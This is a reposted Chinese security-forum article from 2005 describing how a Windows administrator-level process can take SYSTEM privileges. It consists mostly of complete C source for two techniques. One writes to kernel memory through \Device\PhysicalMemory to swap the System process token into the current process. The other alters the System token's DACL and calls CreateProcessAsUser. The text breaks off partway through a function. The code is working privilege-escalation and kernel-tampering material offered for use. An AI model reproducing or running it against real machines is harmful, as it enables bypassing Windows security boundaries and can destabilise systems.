Board logo

标题: [转帖]管理员组获取系统权限的完美解决方案 [打印本页]

作者: 千與千尋    时间: 2005-4-29 08:40     标题: [转帖]管理员组获取系统权限的完美解决方案

文章来源:安全焦点 文章提交:suei8423 (suei8423_at_163.com) 管理员组获取系统权限的完美解决方案 Author : ZwelL Blog : http://www.donews.net/zwell Date : 2005.4.28 关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了. 小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限". 这里,我先踩在前辈的肩上列一些可行的方法: 1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)" 2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建 3. 远线程插入,插入线程到系统进程,创建一新进程 这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以: 4. 将程序做成服务,带参数运行新进程 做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限. 当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案. 这里,我拿出两种新的方案来实现该功能: 第一种方法.我们先来看一下系统是如何进行权限检测的, 举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证: OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token; |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查 也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。 思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限. 而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^) 实现代码: =========================================================================================================== #include #include #include #include #define TOKEN_OFFSET 0xc8 //In windows 2003, it';s 0xc8, if others'; version, change it #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) typedef LONG NTSTATUS; typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; #define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_VALID_ATTRIBUTES 0x000003F2L typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; RTLINITUNICODESTRING RtlInitUnicodeString; ZWOPENSECTION ZwOpenSection; ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; HMODULE g_hNtDLL = NULL; PVOID g_pMapPhysicalMemory = NULL; HANDLE g_hMPM = NULL; BOOL InitNTDLL() { g_hNtDLL = LoadLibrary( "ntdll.dll" ); if ( !g_hNtDLL ) { return FALSE; } RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" ); ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" ); return TRUE; } VOID CloseNTDLL() { if(g_hNtDLL != NULL) { FreeLibrary(g_hNtDLL); } } VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) { PACL pDacl=NULL; PACL pNewDacl=NULL; PSECURITY_DESCRIPTOR pSD=NULL; DWORD dwRes; EXPLICIT_ACCESS ea; if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS) { goto CleanUp; } ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = SECTION_MAP_WRITE; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance= NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = "CURRENT_USER"; if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) { goto CleanUp; } if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) { goto CleanUp; } CleanUp: if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); } HANDLE OpenPhysicalMemory() { NTSTATUS status; UNICODE_STRING physmemString; OBJECT_ATTRIBUTES attributes; RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" ); attributes.Length = sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory = NULL; attributes.ObjectName = &physmemString; attributes.Attributes = 0; attributes.SecurityDescriptor = NULL; attributes.SecurityQualityOfService = NULL; status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); if(status == STATUS_ACCESS_DENIED){ status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); } if( !NT_SUCCESS( status )) { return NULL; } g_pMapPhysicalMemory = MapViewOfFile( g_hMPM, 4, 0, 0x30000, 0x1000); if( g_pMapPhysicalMemory == NULL ) { return NULL; } return g_hMPM; } PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) { ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; if(VAddr>=0x80000000 && VAddr<0xa0000000) { PAddr=VAddr-0x80000000; return (PVOID)PAddr; } PGDE=BaseAddress[VAddr>>22]; if ((PGDE&1)!=0) { ULONG tmp=PGDE&0x00000080; if (tmp!=0) { PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); } else { PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000); PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; if ((PTE&1)!=0) { PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); } else return 0; } } else return 0; return (PVOID)PAddr; } ULONG GetData(PVOID addr) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return 0; ULONG ret=tmp[(phys & 0xFFF)>>2]; UnmapViewOfFile(tmp); return ret; } BOOL SetData(PVOID addr,ULONG data) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return FALSE; tmp[(phys & 0xFFF)>>2]=data; UnmapViewOfFile(tmp); return TRUE; } DWORD MyGetModuleBaseAddress( char * pModuleName) { PSYSTEM_MODULE_INFORMATION pSysModule; ULONG uReturn; ULONG uCount; PCHAR pBuffer = NULL; PCHAR pName = NULL; NTSTATUS status; UINT ui; CHAR szBuffer[10]; DWORD pBaseAddress; status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn ); pBuffer = ( PCHAR )malloc(uReturn); if ( pBuffer ) { status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn ); if( NT_SUCCESS(status) ) { uCount = ( ULONG )*( ( ULONG * )pBuffer ); pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) ); for ( ui = 0; ui < uCount; ui++ ) { pName = strstr( pSysModule->ImageName, pModuleName ); if( pName ) { pBaseAddress = (DWORD)pSysModule->Base; free( pBuffer ); return pBaseAddress; } pSysModule ++; } } free( pBuffer ); } return NULL; } DWORD GetEprocessFromId (DWORD PID) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; DWORD n; DWORD retvalue=0; buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return FALSE; } status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return FALSE; } status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong\n"); return FALSE; } NumOfHandle = *(ULONG*)buf; h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4); for(i = 0; i.ProcessId == PID &&( h_info.ObjectTypeNumber == 5 )) { retvalue=(DWORD)(h_info.Object); break; } } if ( buf != NULL ) { free( buf ); } return retvalue; } void usage(char *exe) { printf("Usage : %s [exefile|-h]\n"); } int main(int argc, char **argv) { HMODULE hDll; DWORD tmp; DWORD SystemEprocess; DWORD SystemEprocessTokenValue; DWORD CurrentEprocess; DWORD CurrentEprocessTokenValue; printf("\nIt is intended to get SYSTEM privilege from administrators group.\n"); printf("\tMade by ZwelL.\n"); printf("\tZwell@sohu.com.\n"); printf("\thttp://www.donews.net/zwell.\n"); printf("\tType -h to get more information\n", argv[0]); if( argc>=2) { if( ( (strcmp(argv[1],"-h")==0) && (argc==2)) || (argc>2) ) { usage(argv[0]); exit(-1); } } if (!InitNTDLL()) { printf("InitNTDLL wrong\n"); exit(-1); } if (OpenPhysicalMemory()==0) { printf("OpenPhysicalMemory wrong\n"); exit(-1); } hDll = LoadLibrary("ntoskrnl.exe"); tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess"); tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll; SystemEprocess=GetData((PVOID)tmp); tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM';s Token address SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM';s Token printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue); OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() ); CurrentEprocess = GetEprocessFromId(GetCurrentProcessId()); CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET)); printf("Current EPROCESS : %08x\n", CurrentEprocess); printf("Current Process Token : %08x\nPress ENTER to continue...\n", CurrentEprocessTokenValue); //getchar(); SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue); printf("Current Process Token : %08x\n", GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET))); printf("Press ENTER to create process...\n"); //getchar(); if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET)) == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET)) ) // It is so surprised that SYSTEM';s Token always in changing. // So before create new process, we should ensure the TOKEN is all right { ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL); } UnmapViewOfFile(g_pMapPhysicalMemory); CloseHandle(g_hMPM); CloseNTDLL(); return 0; } 在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小). ========================================================================================================= 第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。 这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。 用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术". 下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN: #include #include #include #include #include #include #pragma comment(lib, "wtsapi32") HANDLE OpenSystemProcess() { HANDLE hSnapshot = NULL; HANDLE hProc = NULL; __try { // Get a snapshot of the processes in the system hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == NULL) { printf("OpenSystemProcess CreateToolhelp32Snapshot Failed"); __leave; } PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); // Find the "System" process BOOL fProcess = Process32First(hSnapshot, &pe32); while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0)) fProcess = Process32Next(hSnapshot, &pe32); if (!fProcess) { printf("OpenSystemProcess Not Found SYSTEM"); __leave; // Didn';t find "System" process } // Open the process with PROCESS_QUERY_INFORMATION access hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); if (hProc == NULL) { printf("OpenSystemProcess OpenProcess Failed"); __leave; } } __finally { // Cleanup the snapshot if (hSnapshot != NULL) CloseHandle(hSnapshot); return(hProc); } } BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid ); OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken ); AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv; } #define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0])) BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess) { PACL pAcl = NULL; PACL pNewAcl = NULL; PACL pSacl = NULL; PSID pSidOwner = NULL; PSID pSidPrimary = NULL; BOOL fSuccess = TRUE; PSECURITY_DESCRIPTOR pSD = NULL; __try { // Find the length of the security object for the kernel object DWORD dwSDLength; if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0, &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER)) { printf("ModifySecurity GetKernelObjectSecurity Size Failed"); __leave; } // Allocate a buffer of that length pSD = LocalAlloc(LPTR, dwSDLength); if (pSD == NULL) { printf("ModifySecurity LocalAlloc Failed"); __leave; } // Retrieve the kernel object if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, dwSDLength, &dwSDLength)) { printf("ModifySecurity GetKernelObjectSecurity Failed"); __leave; } // Get a pointer to the DACL of the SD BOOL fDaclPresent; BOOL fDaclDefaulted; if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl, &fDaclDefaulted)) { printf("ModifySecurity GetSecurityDescriptorDacl Failed"); __leave; } // Get the current user';s name TCHAR szName[1024]; DWORD dwLen = chDIMOF(szName); if (!GetUserName(szName, &dwLen)) { printf("ModifySecurity GetUserName Failed"); __leave; } // Build an EXPLICIT_ACCESS structure for the ace we wish to add. EXPLICIT_ACCESS ea; BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0); ea.Trustee.TrusteeType = TRUSTEE_IS_USER; // We are allocating a new ACL with a new ace inserted. The new // ACL must be LocalFree';d if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl)) { printf("ModifySecurity SetEntriesInAcl Failed"); pNewAcl = NULL; __leave; } // Find the buffer sizes we would need to make our SD absolute pAcl = NULL; dwSDLength = 0; DWORD dwAclSize = 0; DWORD dwSaclSize = 0; DWORD dwSidOwnLen = 0; DWORD dwSidPrimLen = 0; PSECURITY_DESCRIPTOR pAbsSD = NULL; if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl, &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER)) { printf("ModifySecurity MakeAbsoluteSD Size Failed"); __leave; } // Allocate the buffers pAcl = (PACL) LocalAlloc(LPTR, dwAclSize); pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize); pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen); pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen); pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength); if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD)) { printf("ModifySecurity Invalid SID Found"); __leave; } // And actually make our SD absolute if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl, &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)) { printf("ModifySecurity MakeAbsoluteSD Failed"); __leave; } // Now set the security descriptor DACL if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl, fDaclDefaulted)) { printf("ModifySecurity SetSecurityDescriptorDacl Failed"); __leave; } // And set the security for the object if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD)) { printf("ModifySecurity SetKernelObjectSecurity Failed"); __leave; } fSuccess = TRUE; } __finally { // Cleanup if (pNewAcl == NULL) LocalFree(pNewAcl); if (pSD == NULL) LocalFree(pSD); if (pAcl == NULL) LocalFree(pAcl); if (pSacl == NULL) LocalFree(pSacl); if (pSidOwner == NULL) LocalFree(pSidOwner); if (pSidPrimary == NULL) LocalFree(pSidPrimary); if(!fSuccess) { printf("ModifySecurity exception caught in __finally"); } return(fSuccess); } } HANDLE GetLSAToken() { HANDLE hProc = NULL; HANDLE hToken = NULL; BOOL bSuccess = FALSE; __try { // Enable the SE_DEBUG_NAME privilege in our process token if (!EnablePrivilege(SE_DEBUG_NAME)) { printf("GetLSAToken EnablePrivilege Failed"); __leave; } // Retrieve a handle to the "System" process hProc = OpenSystemProcess(); if(hProc == NULL) { printf("GetLSAToken OpenSystemProcess Failed"); __leave; } // Open the process token with READ_CONTROL and WRITE_DAC access. We // will use this access to modify the security of the token so that we // retrieve it again with a more complete set of rights. BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC, &hToken); if(FALSE == fResult) { printf("GetLSAToken OpenProcessToken Failed"); __leave; } // Add an ace for the current user for the token. This ace will add // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights. if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID)) { printf("GetLSAToken ModifySecurity Failed"); __leave; } // Reopen the process token now that we have added the rights to // query the token, duplicate it, and assign it. fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken); if (FALSE == fResult) { printf("GetLSAToken OpenProcessToken Failed"); __leave; } bSuccess = TRUE; } __finally { // Close the System process handle if (hProc != NULL) CloseHandle(hProc); if(bSuccess) return hToken; else { ::CloseHandle(hToken); return NULL; } } } #define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \ DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \ DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \ DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED) #define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES | \ WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \ WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \ WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \ WINSTA_READSCREEN | \ STANDARD_RIGHTS_REQUIRED) #define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL) BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid); BOOL AddAceToDesktop(HDESK hdesk, PSID psid); BOOL GetLogonSID(HANDLE hToken, PSID *ppsid) { PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; BOOL ret=FALSE; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++) { if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 ) { //*ppsid = pProcessInfo[CurrentProcess].pUserSid; DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid); *ppsid = (PSID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength); if (*ppsid == NULL) break; if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid)) { HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid); break; } ret=TRUE; break; } } WTSFreeMemory(pProcessInfo); } return ret; } BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid) { BOOL bSuccess = FALSE; DWORD dwIndex; DWORD dwLength = 0; PTOKEN_GROUPS ptg = NULL; // Verify the parameter passed in is not NULL. if (NULL == ppsid) goto Cleanup; // Get required buffer size and allocate the TOKEN_GROUPS buffer. if (!GetTokenInformation( hToken, // handle to the access token TokenGroups, // get information about the token';s groups (LPVOID) ptg, // pointer to TOKEN_GROUPS buffer 0, // size of buffer &dwLength // receives required buffer size )) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) goto Cleanup; ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength); if (ptg == NULL) goto Cleanup; } // Get the token group information from the access token. if (!GetTokenInformation( hToken, // handle to the access token TokenGroups, // get information about the token';s groups (LPVOID) ptg, // pointer to TOKEN_GROUPS buffer dwLength, // size of buffer &dwLength // receives required buffer size )) { goto Cleanup; } // Loop through the groups to find the logon SID. for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++) if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID) { // Found the logon SID; make a copy of it. dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid); *ppsid = (PSID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength); if (*ppsid == NULL) goto Cleanup; if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid)) { HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid); goto Cleanup; } break; } bSuccess = TRUE; Cleanup: // Free the buffer for the token groups. if (ptg != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)ptg); return bSuccess; } VOID FreeLogonSID (PSID *ppsid) { HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid); } BOOL StartInteractiveClientProcess ( LPTSTR lpszUsername, // client to log on LPTSTR lpszDomain, // domain of client';s account LPTSTR lpszPassword, // client';s password LPTSTR lpCommandLine, // command line to execute HANDLE Token = NULL ) { HANDLE hToken; HDESK hdesk = NULL; HWINSTA hwinsta = NULL, hwinstaSave = NULL; PROCESS_INFORMATION pi; PSID pSid = NULL; STARTUPINFO si; BOOL bResult = FALSE; // Log the client on to the local computer. if(Token!=NULL) { printf("%08x\n", Token); hToken = Token; } else if (!LogonUser( lpszUsername, lpszDomain, lpszPassword, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken) ) { goto Cleanup; } // Save a handle to the caller';s current window station. if ( (hwinstaSave = GetProcessWindowStation() ) == NULL) goto Cleanup; // Get a handle to the interactive window station. hwinsta = OpenWindowStation( "winsta0", // the interactive window station FALSE, // handle is not inheritable READ_CONTROL | WRITE_DAC); // rights to read/write the DACL if (hwinsta == NULL) goto Cleanup; // To get the correct default desktop, set the caller';s // window station to the interactive window station. if (!SetProcessWindowStation(hwinsta)) goto Cleanup; // Get a handle to the interactive desktop. hdesk = OpenDesktop( "default", // the interactive window station 0, // no interaction with other desktop processes FALSE, // handle is not inheritable READ_CONTROL | // request the rights to read and write the DACL WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS); // Restore the caller';s window station. if (!SetProcessWindowStation(hwinstaSave)) goto Cleanup; if (hdesk == NULL) goto Cleanup; // Get the SID for the client';s logon session. if (!GetLogonSID(hToken, &pSid)) goto Cleanup; // Allow logon SID full access to interactive window station. if (! AddAceToWindowStation(hwinsta, pSid) ) goto Cleanup; // Allow logon SID full access to interactive desktop. if (! AddAceToDesktop(hdesk, pSid) ) goto Cleanup; // Impersonate client to ensure access to executable file. if (! ImpersonateLoggedOnUser(hToken) ) goto Cleanup; // Initialize the STARTUPINFO structure. // Specify that the process runs in the interactive desktop. ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb= sizeof(STARTUPINFO); si.lpDesktop = TEXT("winsta0\\default"); //You can use EnumWindowStations to enum desktop // Launch the process in the client';s logon session. bResult = CreateProcessAsUser( hToken, // client';s access token NULL, // file to execute lpCommandLine, // command line NULL, // pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags NULL, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process ); // End impersonation of client. RevertToSelf(); goto Cleanup; //return bResult; <------------------------------------------------------------------------ if (bResult && pi.hProcess != INVALID_HANDLE_VALUE) { WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); } if (pi.hThread != INVALID_HANDLE_VALUE) CloseHandle(pi.hThread); Cleanup: if (hwinstaSave != NULL) SetProcessWindowStation (hwinstaSave); // Free the buffer for the logon SID. if (pSid) FreeLogonSID(&pSid); // Close the handles to the interactive window station and desktop. if (hwinsta) CloseWindowStation(hwinsta); if (hdesk) CloseDesktop(hdesk); // Close the handle to the client';s access token. if (hToken != INVALID_HANDLE_VALUE) CloseHandle(hToken); return bResult; } BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid) { ACCESS_ALLOWED_ACE *pace; ACL_SIZE_INFORMATION aclSizeInfo; BOOL bDaclExist; BOOL bDaclPresent; BOOL bSuccess = FALSE; DWORD dwNewAclSize; DWORD dwSidSize = 0; DWORD dwSdSizeNeeded; PACL pacl; PACL pNewAcl; PSECURITY_DESCRIPTOR psd = NULL; PSECURITY_DESCRIPTOR psdNew = NULL; PVOID pTempAce; SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION; unsigned int i; __try { // Obtain the DACL for the 